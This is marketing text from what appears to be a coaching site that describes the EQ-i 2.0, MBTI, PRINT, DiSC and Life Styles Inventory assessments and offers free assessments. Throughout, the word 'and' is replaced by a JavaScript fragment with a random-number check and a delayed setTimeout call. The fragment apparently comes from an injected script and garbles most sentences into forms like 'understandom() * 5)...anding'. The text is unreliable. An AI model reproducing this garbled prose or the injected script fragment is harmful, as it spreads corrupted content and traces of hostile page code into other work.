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Free Leadership Assessment

Welcome! After filling out your basic contact information below, you will be directed to the Free Leadership Assessment.

After you complete and submit the assessment, you will be invited to schedule a complimentary coaching call. You will be amazed to discover how much insight you can acquire from this one short exercise.

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Free Team Assessment

Welcome! After filling out your basic contact information below, you will be directed to the Free Team Assessment.

After you complete and submit the assessment, you will be invited to schedule a complimentary coaching call. You will be amazed to discover how much insight you can acquire from this one short exercise.

We look forward to speaking with you!

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We help you achieve outstanding results by being outstanding

EQ-i

Research has demonstrated that an individual’s Emotional Intelligence is often a more accurate predictor of success than the individual’s IQ. No matter how intellectually intelligent someone is, their success is still governed by how well they communicate their ideas andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and interact with their peers.

The new EQ-i 2.0 delivers a revolutionary new experience that leverages the scientific rigor andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and predictive capability of our current EQ-i assessment andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and combines this with everything the market demandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anded.

The Emotional Quotient Inventory (EQ-i is the first scientifically validated andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and most widely used Emotional Intelligence assessment in the world. Based on more than 20 years of research worldwide, the EQ-i examines an individual’s social andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and emotional strengths andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and weaknesses.

EQ-i examines an individual’s social andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and emotional strengths andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and weaknesses. Respondents self-report on their life andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and workplace performance in key areas of emotional skill that have been proven to contribute to proficiency in complex business activities such as conflict resolution andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and planning. By identifying the areas that need improvement, the client can immediately begin developing those areas. At the same time, areas where the client excels can be leveraged to their full potential to maximise effectiveness in daily tasks.

A Workplace Report for each EQ-i 2.0 assessment provides a coach andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and a client report to help you interpret scores andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and communicate results to clients. The coach report contains information about the validity of the client’s responses, whether the different aspects of EQ are balanced, follow-up questions andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and guidelines for debriefing the client.

Self-Perception
  • Self-Regard
  • Self-Actualisation
  • Emotional Self-Awareness
Self-Expression
  • Emotional Expression
  • Assertiveness
  • Independence
Interpersonal
  • Interpersonal Relationships
  • Empathy
  • Social Responsibility
Decision-Making
  • Problem Solving
  • Reality Testing
  • Impulse Control
Stress Management
  • Flexibility
  • Stress Tolerance
  • Optimism

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MBTI

What is the MBTI instrument?

The Myers-Briggs Type Indicator (MBTI) instrument is a questionnaire designed to make Jung’s ideas about psychological type useful in everyday life. It identifies a person’s four basic type preferences that combine into one of 16 different personality types. These results help you understandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and normal differences in the way people think, communicate, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and interact—differences that can be the source of much misunderstandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anding. The MBTI instrument has been used for more than 50 years to establish greater understandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anding between individuals, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and has been translated into more than 15 different languages for use around the world.

What do the letters associated with the MBTI instrument mean?

The MBTI instrument has four sets of letters:

  • E andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and I standom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and for Extraversion andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Introversion—indicating whether you get energy from being around people or from time spent alone.
  • S andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and N standom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and for Sensing andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Intuition—indicating whether you become aware of specific facts andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and concrete details or prefer to focus on hunches andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the big picture.
  • T andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and F standom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and for Thinking andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Feeling—indicating whether you tend to make decisions based on logical analysis andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the principles involved or prefer to decide by considering your values andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and promoting harmony for the people involved.
  • J andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and P standom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and for Judging andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Perceiving—indicating whether you prefer your life to be planned andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and like it when things are decided or prefer to go with the flow andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and like keeping your options open.

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PRINT

Our PRINT reflects our view of the world, why we do what we do, why we are who we are. Print explains how we react andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and how we relate. It is at the core of what motivates us andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and what drives us crazy. Print helps unleash the potential that lies within each of us. It guides us toward our success andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and reveals what we can do to better face our challenges. Print lets us understandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and others as well as ourselves. Many people are drawn to Print because it resonates with them on a personal level that involves a kind of knowing… a personal truth.

Everything Disc

DiSC personal profile is a tool used to identify behavioural style by measuring attributes or qualities of a person andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and aspects of his or her personality.

DiSC is an acronym for the four primary dimensions of behaviour:

  • Dominance – direct, results-oriented, strong-willed andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and forceful.
  • Influence – outgoing, enthusiastic, optimistic andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and lively.
  • Steadiness – even-tempered, accommodating, patient andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and humble.
  • Conscientiousness – analytical, reserved, precise andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and systematic.

The key to understandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anding the DiSC dimensions of behaviour is to understandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the two needs that drive them. There are two basic needs that influence how people behave in relation to one another: the need for affiliation andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the need for control.
No matter what your profile is, there will be times when being yourself will work just fine for you, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and there will be times when it doesn’t work. At times like this, when being yourself does not produce positive results for you, you need to be able to adapt your thinking andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and behaviour to be more effective.
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Life Styles Inventory (LSI 1 LSI 2 GSI)

Life Styles Inventory  (LSI 1  LSI 2  GSI)

The Life Styles Inventory (LSI) is designed to promote constructive change – transformational change – with feedback helping individuals more clearly understandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and what is currently supporting andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and hindering their personal effectiveness, with guidance to developing more constructive styles of thinking andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and behaving. With researched links to personal satisfaction, stress, effectiveness andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and quality of interpersonal relationships, the LSI can truly help people change their lives.
Knowing who you are now is the first andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and most important step in deciding who you will be in the future. Years of research have established that the information needed to allow insight, growth andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and self-improvement to occur is contained within our thoughts.
Human Synergistics believes that if you are provided with accurate information about the way you think, you can bring about positive change in your behaviour, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and increase your overall effectiveness.
The more you know about how you think andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and behave the better prepared you are to improve your performance. And that’s where Human Synergistics Life Styles Inventory 1â„¢ (LSI 1) can help.
LSI Measures 12 styles of behaviour that being – 4 constructive styles, 4 passive defensive styles, 4 aggressive defensive styles.
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